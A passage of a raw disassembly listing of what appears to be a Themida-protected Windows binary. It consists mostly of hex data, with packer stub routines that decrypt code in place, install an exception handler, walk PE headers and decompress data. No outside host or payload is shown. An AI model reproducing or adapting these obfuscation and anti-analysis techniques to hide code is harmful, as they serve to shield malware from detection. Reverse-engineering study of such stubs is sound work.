0FFFF0000h, 0FFFFh, 0 dd 1A440000h, 0B1h, 1FF70000h, 0F936005Ch, 0B610h, 3 dup(0) dd 1D770000h, 7C80h, 0FFB00000h, 342D01F2h, 0C2h, 2 dup(0) dd 0ADA00000h, 7C80h, 7 dup(0) dd 0ABDE0000h, 180F7C80h, 0B1h, 0 dd 0FB200000h, 9E401AD9h, 6DF48420h, 1920025Ch, 0B1h, 1Ch dup(0) dd 940000h, 5 dup(0) dd 0A0FE0000h, 5Bh, 0 dd 30DF0000h, 0A9C5h, 6 dup(0) dd 11110000h, 1111h, 4 dup(0) dd 35180000h, 0 dd 0A8CF0000h, 104400B1h, 30h, 2 dup(0) dd 0B79A0000h, 6 dup(0) dd 89C90000h, 2966h, 4 dup(0) dd 5CE70000h, 5 dup(0) dd 1A440000h, 9F0300B1h, 7C90h, 180F0000h, 0B1h, 4 dup(0) dd 37D50000h, 8D960003h, 938h, 2800000h, 16FB0000h, 3F0Ch dd 7 dup(0) dd 8B280000h, 0B1h, 0EB940000h, 7C90h, 3 dup(0) dd 88380000h, 0FFA1h, 0FFFD0000h, 0B2FEh, 8E510000h, 0B1h dd 0EB940000h, 7C90h, 4 dup(0) dd 40000h, 5 dup(0) dd 22220000h, 22222222h, 2222h, 0Ah dup(0) dd 0E0090000h, 0FFA3h, 0CDDA0000h, 5A0C7C81h, 1FFF4AF0h dd 2130000h, 0B7h, 0 dd 7C90h, 8 dup(0) dd 0F9FC0000h, 7FF900A9h, 7FD3h, 0Ah dup(0) dd 21B50000h, 0ADDAh, 40C10000h, 7DD0h, 4 dup(0) dd 4F540000h, 11h, 0 dd 0FFFF0000h, 0FFDDFFFFh, 0FFA3h, 0 dd 0EFF0000h, 753Ah, 7 dup(0) dd 12660000h, 0FFA4h, 0A0000000h, 2, 0A040000h, 5Bh, 0 dd 0ABC10000h, 5Ch, 9 dup(0) dd 0FE800000h, 12h, 3 dup(0) dd 0D1D20000h, 5Eh, 0EBFB0000h, 36h, 0 dd 39D20000h, 58h, 5 dup(0) dd 10000h, 640000h, 0ADE70000h, 2 dup(0) dd 0A00000h, 2 dup(0) dd 34410000h, 0F85Eh, 3 dup(0) dd 328B0000h, 3EEEh, 0 dd 0E27D0000h, 7E1h, 4 dup(0) dd 24240000h, 2424h, 10000h, 0 dd 0C8C0000h, 5Ch, 3 dup(0) dd 2130000h, 0B7h, 3 dup(0) dd 56DE0000h, 1005Ch, 0F9200000h, 7CEDh, 87D80000h, 61B7FFA0h dd 19h dup(0) dd 0FA030000h, 0B1h, 5 dup(0) dd 0DC0000h, 5 dup(0) dd 7F5D0000h, 3259h, 0A2800000h, 2 dup(0) dd 10000h, 4 dup(0) dd 8C0000h, 0CB070000h, 91C5h, 0FFFF0000h, 0FFFFh, 6DD40000h dd 0EBC1025Ch, 3333005Bh, 2 dup(33333333h), 3333h, 3 dup(0) dd 146C0000h, 836Fh, 0 dd 0FFC40000h, 27E20012h, 0FFB3h, 54170000h, 0EB0100BBh dd 13F2Bh, 0DEF60000h, 0BA1C9CDAh, 5Fh, 5 dup(0) dd 0C2E0000h, 4 dup(0) dd 230000h, 5Dh, 4 dup(0) dd 17900000h, 0E81476F2h, 5Ch, 2 dup(0) dd 3E0000h, 0B1h, 0Bh dup(0) dd 0EB940000h, 0A257C90h, 0FF7D00B1h, 737307E1h, 58h, 2 dup(0) dd 0EAFF0000h, 5Dh, 8 dup(0) dd 94170000h, 0B1h, 840000h, 0 dd 0B5080000h, 0B1h, 4 dup(0) dd 10440000h, 30h, 6 dup(0) dd 73D50000h, 0B4AD17AFh, 57B31E28h, 5697h, 2 dup(0) dd 0EFBF0000h, 5Bh, 0Bh dup(0) dd 0D3AB0000h, 4070005Bh, 5Fh, 39D20000h, 58h, 4 dup(0) dd 6C0000h, 0 dd 0B5D60000h, 2 dup(0) dd 0DEDD0000h, 2000F0FFh, 3 dup(0) dd 4A5D0000h, 3DDFh, 0 dd 94170000h, 0B1h, 5 dup(0) dd 997F0000h, 3A4300B7h, 4E49575Ch, 53574F44h, 7379735Ch dd 336D6574h, 44415C32h, 49504156h, 642E3233h, 6C6Ch, 39h dup(0) dd 285C0000h, 0FFFFh, 8 dup(0) dd 20000h, 6 dup(0) dd 40C10000h, 0EB947DD0h, 0EFAE7C90h, 1620005Dh, 2 dup(0) dd 6BF50000h, 0F66Ch, 0 dd 0E240000h, 575200B1h, 0B64005Bh, 5Ch, 0E8080000h, 0A698h dd 0 dd 9A830000h, 4E73h, 7 dup(0) dd 0FA030000h, 0B1h, 0AED70000h, 5C66h, 30DF0000h, 0A9C5h dd 2 dup(0) dd 370B0000h, 993h, 0 dd 6F4E0000h, 0FFFFh, 7 dup(0) dd 72C80000h, 8 dup(0) dd 8F680293h, 0FFFFh, 13h dup(0) dd 6BCC0000h, 5Dh, 0 dd 146C0000h, 836Fh, 13h dup(0) dd 39D0000h, 8D8D21BBh, 5328h, 0 dd 6E0F0000h, 25Ch, 0B5FE0000h, 0B1h, 0FB130000h, 7C90h dd 2 dup(0) dd 300F0000h, 5Dh, 2 dup(0) dd 56D0000h, 7C91h, 30h dup(0) dd 1A170000h, 7439F3h, 0ED20000h, 5Ch, 6 dup(0) dd 0E4DD0000h, 0B775h, 9E8B0000h, 0BF79005Bh, 9C69h, 9 dup(0) dd 10000h, 0EE180000h, 7C90h, 0DB800000h, 36360060h, 3636h dd 0BD8A0000h, 0DF7Ah, 10h dup(0) dd 0A2400000h, 0FFFFh, 0FF7D0000h, 7E1h, 832C0000h, 0BB19h dd 0Ch dup(0) dd 4CE80000h, 5Fh, 28080000h, 0EB9400B1h, 54177C90h, 0BBh dd 0A37B0000h, 8D20FFA0h, 0B1h, 3 dup(0) dd 0EE370000h, 0C47E77DDh, 15EDh, 0 dd 328B0000h, 3EEEh, 5 dup(0) dd 8B510000h, 5BF0h, 0ED9A0000h, 5Bh, 0BD210000h, 918142FFh dd 1D10h, 0 dd 10000h, 2 dup(0) dd 93860000h, 1290022Ch, 76F2h, 5 dup(0) dd 0D7F00000h, 0EB94005Ch, 7C7C90h db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_58698A: ; CODE XREF: start:loc_583441j mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 7FA3553h mov [ebp+7FA2DB1h], edx mov [ebp+7FA32C5h], esi mov [ebp+7FA1DD5h], eax cmp dword ptr [ebp+7FA0671h], 0 jz short loc_5869C2 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_5869C2: ; CODE XREF: start+719A0j mov eax, [esp+40h+var_1C] mov [ebp+7FA2B45h], eax push 45h call sub_586A76 push 783749Ah call sub_586ABC push 0A894B25h call sub_586ABC jmp loc_586C00 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_586A76 proc near ; CODE XREF: start+719BAp var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 7FA3641h mov ebx, edx mov [ebp+var_28], 0 loc_586A92: ; CODE XREF: sub_586A76+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_586AB1 mov eax, [ebp+arg_0] mov [ebx+7FA35ABh], eax inc [ebp+arg_0] inc ebx jmp short loc_586A92 ; --------------------------------------------------------------------------- loc_586AB1: ; CODE XREF: sub_586A76+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_586A76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_586ABC proc near ; CODE XREF: start+719C4p start+719CEp var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 7FA368Ah lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_586AE2: ; CODE XREF: sub_586ABC+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_586AE2 mov [ebp+var_84], 0 lea edi, [edx+7FA35ABh] lea esi, [ebp+var_80] loc_586B12: ; CODE XREF: sub_586ABC+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_586B1E: ; CODE XREF: sub_586ABC+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_586B1E imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_586B12 popa leave retn 4 sub_586ABC endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_586B5C ; --------------------------------------------------------------------------- loc_586B58: ; CODE XREF: Themida_:00586B5Fj inc dword ptr [ebp-4] inc esi loc_586B5C: ; CODE XREF: Themida_:00586B56j cmp byte ptr [esi], 0 jnz short loc_586B58 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_586BED ; --------------------------------------------------------------------------- loc_586B6E: ; CODE XREF: Themida_:00586BF0j mov dword ptr [ebp-8], 0 jmp short loc_586BE4 ; --------------------------------------------------------------------------- loc_586B77: ; CODE XREF: Themida_:00586BE8j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_586BD1 ; --------------------------------------------------------------------------- loc_586B87: ; CODE XREF: Themida_:00586BD5j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_586BA9 cmp bl, 39h ja short loc_586BA9 sub bl, 30h jmp short loc_586BCB ; --------------------------------------------------------------------------- loc_586BA9: ; CODE XREF: Themida_:00586B9Dj ; Themida_:00586BA2j cmp bl, 61h jb short loc_586BBB cmp bl, 66h ja short loc_586BBB sub bl, 61h add bl, 0Ah jmp short loc_586BCB ; --------------------------------------------------------------------------- loc_586BBB: ; CODE XREF: Themida_:00586BACj ; Themida_:00586BB1j cmp bl, 41h jb short loc_586BCB cmp bl, 46h ja short loc_586BCB sub bl, 41h add bl, 0Ah loc_586BCB: ; CODE XREF: Themida_:00586BA7j ; Themida_:00586BB9j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_586BD1: ; CODE XREF: Themida_:00586B85j cmp dword ptr [ebp-0Ch], 2 jb short loc_586B87 cmp dword ptr [ebp-10h], 0 jbe short loc_586BE1 mov eax, [ebp-10h] stosb loc_586BE1: ; CODE XREF: Themida_:00586BDBj inc dword ptr [ebp-8] loc_586BE4: ; CODE XREF: Themida_:00586B75j cmp dword ptr [ebp-8], 2 jb short loc_586B77 add edx, 4 loc_586BED: ; CODE XREF: Themida_:00586B6Cj cmp edx, [ebp-4] jb loc_586B6E mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_586C00: ; CODE XREF: start+719D3j mov ecx, 7000h lea edi, [ebp+7FA37D0h] loc_586C0B: ; CODE XREF: start+71BFBj dec byte ptr [edi] inc edi dec ecx jnz short loc_586C0B mov eax, 48692121h mov edx, 0F0115000h sub edx, 0F0000000h lea eax, [ebp+7FA38C3h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax movzx ebx, ax mov bl, 0CEh push ecx sbb ebx, 4024711Bh pop ebx adc ebx, 2C8DD295h sub eax, edx push 0 push ebp call sub_586C5C and [ebp-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_586C5C proc near ; CODE XREF: start+71C40p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_586C5C endp ; --------------------------------------------------------------------------- aPam db 'PМm%',0 db 0F0h, 2 dup(0FFh) dd 8BDABF0Fh, 66FF33CAh, 5A4D3881h, 0B70F0E75h, 0D0033C50h dd 45503A81h, 8740000h, 10002Dh, 0E3EB4700h, 58F64h, 83000000h dd 958D04C4h, 7FA38D6h, 35FF6452h, 0 dd 258964h, 3000000h, 10002DC1h, 708B0000h, 0E68104h, 81FFFF00h dd 0FEh, 8B037680h, 0C0331C70h, 7432F883h, 3E81661Fh, 9745A4Dh dd 0EE81h, 0EB400001h, 3C7E8BEBh, 3F81FE03h, 4550h, 0E8EB4474h dd 58F64h, 83000000h, 0C36104C4h, 244C8B51h, 0B0A98110h dd 0 dd 59000010h, 51C3C033h, 10244C8Bh, 0E855h, 815D0000h dd 0FA38E1EDh, 9F858D07h, 8907FA38h, 0B881h, 33595D00h dd 6496C3C0h, 58Fh, 0C4830000h, 38B0F04h, 0F000000h, 0D88BDEBFh dd 6AD98C66h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 8652C350h, 5D9B2DD8h, 81663A9Fh dd 0F59DECBh, 178Eh, 12E900h, 82F10000h, 896B8677h, 0CB262148h dd 2C900B02h, 0C3F21EE5h, 0D0C38166h, 4E180D4h, 18F0F60h dd 0F5000000h, 3830Fh, 0B70F0000h, 0C90A61C9h, 4F850Fh dd 0BB660000h, 85C7134Fh, 7FA33EDh, 1, 0CB81F98Ah, 0CC77BD7h dd 43E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1D04h, 0C3554500h, 0DE8730A9h, 93B83829h, 810F13DBh dd 9, 38F0Fh, 8B660000h, 0ED85C7D9h, 7FA33h, 60000000h dd 6138EF80h, 8A58589h, 6A07FAh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 802D77C3h, 0FD8A5AC7h dd 20958589h, 6E807FAh, 4F000000h, 4B9B533Fh, 7E95A90h dd 3000000h, 9639EEEDh, 0C2818F6Fh, 6AB4h, 0BBCB8B66h dd 1A81h, 35F78166h, 0F932FFCBh, 14E958h, 0A6B40000h, 5B28F816h dd 3A2FEAE1h, 6043E021h, 0F2CC6942h, 0C0819B79h, 6C5B33C3h dd 71C0D3B9h, 3CF08158h, 0E93CDC9Eh, 13h, 966507EBh, 0C8526FC3h dd 2F45D513h, 0EE79FFEFh, 81755FCDh, 0EFA9C4C0h, 11E95Fh dd 262B0000h, 0ABEF1BADh, 768860C9h, 6D8D1F3Dh, 502B5E17h dd 0EA83028Fh, 4B5F5204h, 0FF8F850Fh, 0E960FFFFh, 14h dd 0D107B5Dh, 3CDD0F97h, 904D70DEh, 7D4D371Eh, 2DA7C15Dh dd 0EB61C38Bh, 21B04h, 672E900h, 14E90000h, 0E2000000h dd 0DC5B9550h, 358FE8A2h, 9F02D71Bh, 45FD5349h, 608962C7h dd 549B589h, 0C02B07FAh, 0CE9h, 3C022200h, 85D46F95h, 2109C451h dd 24548B15h, 698D8928h, 8907FA0Fh, 0FA154D85h, 1D858907h dd 0BE07FA0Eh, 3Ch, 241D9D29h, 740307FAh, 8D292424h, 7FA33B5h dd 1739B589h, 0AD6607FAh, 5E9h, 0EA7E2000h, 44038736h dd 8F0F2424h, 0Ah, 8A0F60h, 60000000h, 0F506161h, 118Ch dd 0CE900h, 0BF160000h, 12BED2Eh, 876F5EB3h, 489C3A7h dd 0AE924h, 70760000h, 0EA24AA15h, 0F190454h, 2978408Bh dd 0FA33C18Dh, 88C0F07h, 0F000000h, 282h, 3616000h, 0E9282444h dd 5, 0AE31BB95h, 18408B3Eh, 0BD0940F9h, 7FA2A2Dh, 0ABB85760h dd 5B6E7B1Eh, 61C2B70Fh, 3AC08589h, 0CE907FAh, 67000000h dd 0AA48EC4Bh, 933E2379h, 58764B01h, 0F18B6660h, 4820BB66h dd 708BF561h, 95896078h, 7FA2491h, 91BF6652h, 836159D1h dd 0B5291CC6h, 7FA1E3Dh, 24247403h, 28D0F60h, 52000000h dd 37BB6659h, 8E9610Bh, 6F000000h, 630709A2h, 8DC83685h dd 0FA0F71BDh, 6890F07h, 29000000h, 0FA26318Dh, 3F9AD07h dd 89242444h, 0FA33F99Dh, 0DE9AB07h, 8E000000h, 24CBB0BBh dd 32428B75h, 950A4189h, 275DBD8Dh, 9D2907FAh, 7FA338Dh dd 7E9ADh, 0CD660000h, 0CB314EE7h, 24440317h, 0C18D8924h dd 5007FA2Bh, 1C8D0Fh, 52500000h, 310F5250h, 310F585Ah dd 0BE9h, 9F8C5D00h, 937E7B53h, 412C6C41h, 489585Ah, 60ABF524h dd 5599D09h, 8F0F07FAh, 4, 0DBCBBF66h, 0D5BD8D61h, 2907FA27h dd 0FA168D8Dh, 0EE9AD07h, 7B000000h, 277EA77Ch, 0B5FD8353h dd 0F494A953h, 2444035Ch, 0E9F86028h, 9, 0EFF3B9B2h, 64F17773h dd 0F606103h, 8B57D9BFh, 0AB615EDEh, 6830Fh, 85890000h dd 7FA0B7Dh, 318D295Eh, 0FF07FA1Ch, 0FA3AC08Dh, 0C0BD8307h dd 7FA3Ah, 44C71075h, 1C24h, 0B58D0000h, 7FA3F1Eh, 0AD56E6FFh dd 28244403h, 8ADF8B97h, 0FA066585h, 74C08407h, 75073A04h dd 0C032574Ch, 5EFD75AEh, 0FC52FB2Bh, 8B49C933h, 33C033D1h dd 0C132ACDBh, 0EA8ACD8Ah, 8B6D68Ah, 66EBD166h, 973D8D1h dd 50413566h, 49F38166h, 75CEFE54h, 33C833EBh, 0D5754FD3h dd 0D1F7D2F7h, 0C0C1C28Bh, 0C18B6610h, 74D03B5Ah, 0C6835E0Fh dd 4D85FF04h, 0E907FA15h, 0FFFFFF6Fh, 0A595895Eh, 8907FA21h dd 0FA0C918Dh, 18E0F07h, 0F8000000h, 154D858Bh, 8D3107FAh dd 7FA338Dh, 8E9h, 0D422B900h, 7EDE82EEh, 0F8E0D118h, 27D58503h dd 2BFC07FAh, 0FE9F6h, 0B9700000h, 222CF7A1h, 33D549C9h dd 9938C01Ch, 66F59615h, 0DE9ADh, 6CD50000h, 825A1560h dd 0B67AF512h, 0C1180226h, 8D0F02E0h, 6, 2305BD89h, 850307FAh dd 7FA0F71h, 0D850Fh, 8E90000h, 71000000h, 80959FFEh, 2961D2D0h dd 0FA189585h, 0ADFC9607h, 244C8BF5h, 4403F824h, 800F2424h dd 6, 77DE8060h, 448961F9h, 8D891C24h, 7FA1095h, 1B52996h dd 0AC07FA0Fh, 1F4DBD89h, 0C93207FAh, 0D159589h, 0C1FE07FAh dd 0B9B58B60h, 6107FA2Eh, 0E8A0Fh, 0F600000h, 8Bh, 0B9BD8B00h dd 6107FA1Eh, 830FD0D0h, 0AFh, 0AE59D89h, 0D0D007FAh, 0A1830Fh dd 840F0000h, 6, 31058D89h, 0D0FC07FAh, 8C820FD0h, 1000000h dd 0FA0B718Dh, 0FD0D007h, 7E82h, 10E900h, 42420000h, 0DFAD6283h dd 93FE1D63h, 4B303DC1h, 0C9FE2457h, 0FFAA890Fh, 8D29FFFFh dd 7FA2F39h, 0E920C483h, 0Dh, 0A9286687h, 24101CA3h, 8279EBD8h dd 2444C7AFh, 0FCh, 0DE900h, 98430000h, 77E9CDA8h, 11740817h dd 0B8B3323Ch, 1, 25D19D89h, 8D8D07FAh, 7FA72FBh, 0BE960h dd 0EE110000h, 0E1219D75h, 1FB95670h, 0FF61F969h, 0BD9589E1h dd 0C607FA1Dh, 0FA066585h, 0F5F50007h, 8C2F561h, 0A98D0900h dd 9607FA0Eh, 0A830Fh, 0B2600000h, 0F525073h, 61585A31h dd 10890F50h, 0E9000000h, 0Bh, 0AF032449h, 0E0A3CDEAh dd 960358B5h, 158D89h, 0B58907FAh, 7FA4105h, 0C8C0Fh, 890F0000h dd 6, 8859D89h, 11E907FAh, 0F2000000h, 163E5C69h, 0DBEF8B80h dd 0B3B3E47Fh, 9B002FD0h, 41208D89h, 9D8907FAh, 7FA266Dh dd 3FE4B58Dh, 896007FAh, 0FA15499Dh, 8D61F507h, 5B8EA185h dd 299D0100h, 0FF07FA29h, 958B60D0h, 7FA18E9h, 143F88B8h dd 0E95E6108h, 0Ch, 3B2BEF9Bh, 0BEE73D4Eh, 43840C5Eh, 6830FC3h dd 89000000h, 0FA2AE195h, 5B58B07h, 907FA41h, 0FA0DAD85h dd 208D8B07h, 0E907FA41h, 12h, 5EA833A1h, 32EB3B76h, 4F99D278h dd 529DACC7h, 0B8411Eh, 60000000h, 61CF8B66h, 0BD89D98Bh dd 7FA2A51h, 0C0E9h, 0D98D0100h, 907FA2Eh, 0FA0B4DBDh dd 89263207h, 0FA1E859Dh, 0F02B207h, 68Ah, 8D8D2900h, 0E907FA23h dd 52h, 60C232F5h, 0BBC28B66h, 2075151Dh, 1D7A0561h, 60608A75h dd 9E8h, 0DF6BA00h, 244BE2Dh, 605E2AFEh, 6AB76161h, 8AF96061h dd 0CC8A61F3h, 0FC8D3F9h, 189h, 4235F500h, 6098D108h, 0FBC78166h dd 0F3B70F8Eh, 0FCAFE61h, 185h, 0D20AF800h, 0FFA7850Fh dd 8960FFFFh, 0FA34BD85h, 0E94B6107h, 0Bh, 6DA91A63h, 0A6ECA9BBh dd 0F6A3ADEh, 684h, 498D8900h, 4607FA01h, 7D858960h dd 5307FA0Ah, 0AE9h, 225FA00h, 8A6D3ED5h, 580AFA78h, 0FDB0B61h dd 0FFFF4485h, 258501FFh, 0CF07FA0Bh, 0F8DB529h, 8E0F07FAh dd 6, 0B719D89h, 7FAh, 8299501h, 7FAh, 0CE9h, 404C8900h dd 462FE6C6h, 56E3FB4h, 0F000062h, 88Eh, 2810F00h, 60000000h dd 60000061h, 2A0D958Bh, 61FC07FAh, 3AE2858Dh, 880F07FAh dd 6, 20198589h, 858907FAh, 7FA2539h, 10800Fh, 810F0000h dd 0Ah, 5E9h, 0B66B9500h, 858D7575h, 7FA3F32h, 121B589h dd 858907FAh, 7FA2E69h, 13E8h, 0C6515700h, 0D5ED48A5h dd 0A1573E7Fh, 0B81B1E5h, 0B33BDE09h, 665F8AB2h, 80ADE381h dd 6E1BC781h, 9D8B0000h, 7FA2C9Dh, 1B4EBEh, 0F9858900h dd 8B07FA1Dh, 0E1958B0Fh, 8107FA0Ah, 1CBA31C1h, 0B1BF601Bh dd 665828C7h, 8161D18Bh, 0BD1F33F1h, 13E82Fh, 6B2C0000h dd 0C9C9A2AFh, 5711D1A6h, 810AB51Ah, 32E9CEAEh, 0D7DA817Eh dd 5833C6C9h, 0CA38C181h, 0B8662A16h, 0F894615h, 21099D23h dd 0EF8107FAh, 53A0E6FAh, 13E9h, 5EF87C00h, 75CD5C86h dd 4D290DBAh, 0A3BA72Fh, 99D4D57h, 0E6F6C781h, 0E18A53A0h dd 1EE81h, 850F0000h, 1Ch, 0D719D8Bh, 29E907FAh, 0E000000h dd 0D20C6C21h, 0BF94AA25h, 9195E6DCh, 0D5A5E59Dh, 26619589h dd 58E907FAh, 50FFFFFFh, 1D67495Bh, 97EE631Ah, 0CBCEE0F6h dd 14EBh, 3 dup(0) dd 0E40000h, 858D0000h, 7FA4335h, 147D8589h, 0BD8307FAh dd 7FA4275h, 35840F00h, 0C6000001h, 0FA066585h, 4E85607h dd 39000000h, 50D41F6Dh, 424448Bh, 4489008Bh, 0FF580424h dd 0FA08A5B5h, 0E2858D07h, 0FF07FA3Ah, 698589D0h, 0C607FA42h dd 0FA066585h, 3A685607h, 818E7B01h, 0B9682434h, 0B5FF12D3h dd 7FA08A5h, 3AE2858Dh, 0D0FF07FAh, 426D8589h, 46A07FAh dd 334CD868h, 24348134h, 34335CD8h, 4279858Bh, 0F40507FAh dd 0C1000001h, 895002E0h, 6A2404h, 426D95FFh, 858907FAh dd 7FA4271h, 0FFB8D88Bh, 0FFFFFFFFh, 0FA147D95h, 0FFC38B07h dd 0FA147D95h, 96E907h, 0BD830000h, 7FA4275h, 1850F00h dd 0C3000000h, 71BD8B57h, 0AB07FA42h, 42718583h, 5F0407FAh dd 75BD83C3h, 7FA42h, 1850Fh, 60C30000h, 4271AD83h, 8B0407FAh dd 0FA42719Dh, 0FC7B8307h, 26850FFFh, 0E8000000h, 4, 8000h dd 24448B50h, 89008B04h, 58042444h, 33FF006Ah, 426995FFh dd 0C36107FAh, 26E9h, 4E800h, 80000000h, 8B500000h, 8B042444h dd 24448900h, 6A5804h, 95FF33FFh, 7FA4269h, 4271AD83h dd 0E90407FAh, 0FFFFFF9Fh, 1ADE948h, 8B600000h, 8B242474h dd 0FC28247Ch, 68A80B2h, 47078846h, 2BBh, 0FD20200h, 585h dd 46168A00h, 830FD212h, 0FFFFFFE2h, 850FD202h, 5, 1246168Ah dd 6A830FD2h, 33000000h, 0FD202C0h, 585h, 46168A00h, 830FD212h dd 12Ah, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h dd 0D2124616h, 0D202C013h, 5850Fh, 168A0000h, 13D21246h dd 0FD202C0h, 585h, 46168A00h, 0C013D212h, 6840Fh, 2B570000h dd 5F078AF8h, 0BB470788h, 2, 0FFFF70E9h, 1B8FFh, 0D2020000h dd 5850Fh, 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h dd 820FD212h, 0FFFFFFDEh, 1BBC32Bh, 0F000000h, 3485h, 1B900h dd 0D2020000h, 5850Fh, 168A0000h, 13D21246h, 0FD202C9h dd 585h, 46168A00h, 820FD212h, 0FFFFFFDEh, 2BF78B56h, 5EA4F3F5h dd 0FFFF08E9h, 0E0C148FFh, 46068A08h, 1B9E88Bh, 2000000h dd 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h, 5850Fh dd 168A0000h, 0FD21246h, 0FFFFDE82h, 7D003DFFh, 830F0000h dd 22h, 5003Dh, 0E820F00h, 41000000h, 2BF78B56h, 5EA4F3F0h dd 0FFFEB4E9h, 7FF883FFh, 3870Fh, 0C1830000h, 0F78B5602h dd 0A4F3F02Bh, 0FE9BE95Eh, 68AFFFFh, 0C0C93346h, 840F01E8h dd 17h, 8B02D183h, 0F78B56E8h, 0A4F3F02Bh, 1BB5Eh, 76E90000h dd 2BFFFFFEh, 8928247Ch, 611C247Ch, 0BA0008C2h, 929h, 9D3E9h dd 2E5C0900h, 0B5E36663h, 0E9D9787h, 48EB79Eh, 724B3F9Bh dd 2EE42565h, 0B44C3ED5h, 87BCD038h, 2E7A541Dh, 0B9A16D6Eh dd 5C8A858Fh, 39CA6CDh, 1D0030DEh, 24EE5506h, 0B84D23C1h dd 85BCD06Ah, 2E795B1Bh, 0A6A1776Eh, 5C959F92h, 1882BAD3h dd 760E24C9h, 33A26165h, 0F55C23C5h, 90F2D138h, 2E6F4F1Bh dd 0A7EE7177h, 52959192h, 63h dup(0) dd 2E5C0900h, 0A9EF6C6Ah, 5C8A9F94h, 1080ADCEh, 37433CC9h dd 61F16463h, 0FA4D35C2h, 9CBDC36Ah, 7C3D5E1Ah, 0A9EF6D72h dd 15D8978Eh, 1896FFD0h, 640E2FCEh, 24F67672h, 99227ECDh dd 88B7C91Ah, 2E315F07h, 0AFED6D72h, 15D89481h, 589FFCAh dd 7A0E30D4h, 33ED686Eh, 0FA4970D9h, 8CA0852Eh, 7C7C4E07h dd 0AFF82373h, 0CD88295h, 588B0CCh, 30DAh, 48h dup(0) dd 2E5C0900h, 0A3E07164h, 5B8A958Bh, 189BFFCDh, 7F0E31D4h dd 23A2766Ah, 0B44635C5h, 87A7CA2Ch, 7B6F1A10h, 0AEE86D69h dd 1291D087h, 280A69Eh, 6E5D7DC9h, 2CE77178h, 0C4255A8Eh dd 9AB3C026h, 7B3D1611h, 0A1EE6F69h, 891D084h, 189DB99Eh dd 72437DD6h, 38F06A66h, 0F0463180h, 9AB7D76Ah, 7A6F5B00h dd 0B5EE7A27h, 0E88D092h, 169DB8D1h, 73D6h, 61h dup(0) dd 675B0900h, 0A3A1666Bh, 98A828Fh, 138AABCEh, 430E739Ah dd 61F16C63h, 0F34722D0h, 0C9BFC438h, 2E6E5B1Ch, 0AEE46665h dd 12999DC0h, 1B9AAFD7h, 734B29DAh, 25EC642Bh, 0ED493D80h dd 0E4D8C028h, 7D3A4E1Dh, 0A6EF6A27h, 198C9385h, 0E8DFFDAh dd 410E3C9Bh, 32F77762h, 0B45A3F80h, 8AB3D729h, 20795F1Fh dd 0A9E95727h, 159ED093h, 0CFBAD2h, 630933D4h, 33ED722Bh dd 0FA4970CBh, 9BBDC833h, 1411h, 0E0h dup(0) dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0) dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h dd 2 dup(0) dd 2CACE9h, 89958B00h, 0FC07FA0Dh, 14F38166h, 6AC08BFFh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 42AEC355h, 0B0E4AEB7h, 58C0Fh, 81660000h dd 83879EEAh, 0FA2ACDBDh, 9750007h, 1899BD83h, 740007FAh dd 8B535013h, 1B8C0h, 9D8D0000h, 7FCE0C6h, 585BD3FFh, 1899BD83h dd 